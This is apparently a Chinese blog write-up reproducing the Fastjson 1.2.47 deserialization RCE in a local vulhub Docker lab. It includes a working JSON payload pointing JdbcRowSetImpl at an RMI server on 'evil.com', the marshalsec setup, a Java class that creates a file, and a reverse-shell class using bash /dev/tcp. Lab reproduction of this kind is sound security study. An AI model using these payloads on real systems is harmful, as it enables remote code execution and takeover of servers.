最近学长找到我,说甲方公司最近可能出现一些安全隐患,因为该公司的接口平台使用的是fastjson,让我先本地复现一下。本来想在本地搭建一下fastjson的环境的,但是搭环境、找demo的过程一言难尽。于是还是用docker在vulhub找了个现成的环境进行复现,此处就省略本地搭环境的过程了,搭环境这块我向来比较丢人,还是docker香。
Fastjson远程命令执行漏洞的原理我就不介绍了,网上也找了些,说实话,我没咋看懂。
实验过程如下:
首先是git clone下vulhub的项目,可以看到一些经典的漏洞目录,里面也包含今天我们用到的fastjson漏洞环境。
进入到fastjson的目录,有1.2.24和1.2.47两个版本的rce,这里我们选择1.2.47进行实验。
docker-compose build && docker-compose up -d
拉取该版本漏洞的环境容器:
启动容器之后,访问127.0.0.1:8090,就可以看到json格式的页面内容,说明搭建成功。
将以下代码保存为TouchFile.java (没有缩进,看着比较难受sorry)
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}}}
然后在本地javac编译一下,获得.class的字节码文件。
接着启动一个web服务器(端口为3333),这样访问http://ip:3333/TouchFile.class,就可以访问到这个.class文件。
接着我们需要借助marshalsec项目,启动一个RMI服务器,监听4444端口,并加载远程类(需要java 8环境)。
marshalsec项目地址:https://github.com/mbechler/marshalsec
在这之前我们需要先安装下maven,安装配置maven的过程也十分漫长。
https://blog.csdn.net/a805814077/article/details/100545928,我根据这篇安装教程博客安装的。
(安装过程中需要注意:在配置镜像仓库时,如果添加了阿里云的,要把两个本地镜像给删去,不然会报错,这是唯一踩雷的地方)
安装完成maven之后,切换到marshalsec目录下使用maven进行打包
mvn clean package -DskipTests
不出意外,这里会报这个经典的错:Perhaps you are 。。。。。JRE rather than a JDK?
这个错误我之前在创建编译java project的时候也出现过,当时找了网上很多的解决方案都没法解决。又让在eclipse里修改java的啥jre为jdk,又是修改maven的update什么的。都没办法解决。
下面po上正确的解决方法:
首先在cmd里先查看 mvn -v
若发现mvn运行在jre上:
不用去eclipse里修改preference,直接更改高级设置。我的电脑--》属性--》高级系统设置--》环境变量。
改完之后,再mvn -v看看:
就搞定了。
接着上面的mvn clean package -DskipTests:
成功。
开启RMI服务(IP为本机win的ip,这里我是新打开了一个cmd。)
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP#TouchFile" 9999
基本的环境就是这样,下面开始复现。
还有个问题就是在主机要访问到我虚拟机中用docker部署的网站,这个问题之前也碰到过,除了改成Nat,修改ifcfg-ens33配置文件之外,还需要把虚拟机的防火墙给关了(也可以自己修改防火墙配置,我这里为了简洁(懒),直接关闭了)。
然后就可以在本机win访问虚拟机的网站了
然后抓包,向虚拟机的靶机发送payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}
这里需要注意:
修改请求模式为POST,将content-type修改为application/json。
然后send出去之后在docker的bash中查看/tmp目录下是否有success的文件:
docker ps(查看容器)
docker exec -it 容器id bash(进入容器的shell)
查看/tmp目录下是否成功生成success文件,有则表示生成成功。(我这里因为网络问题,第一次的时候并没有将请求发送出去,第二次成功过后忘记截图了,大家可以自己尝试下)
到这里之后基本复现已经结束了,其实既然都可以创建文件了,那当然后就可以反弹shell:
payload:
// javac shell.java
import java.lang.Runtime;
import java.lang.Process;
public class shell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/IP/port 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}}}
接着使用nc监听下指定port的端口,就可以了。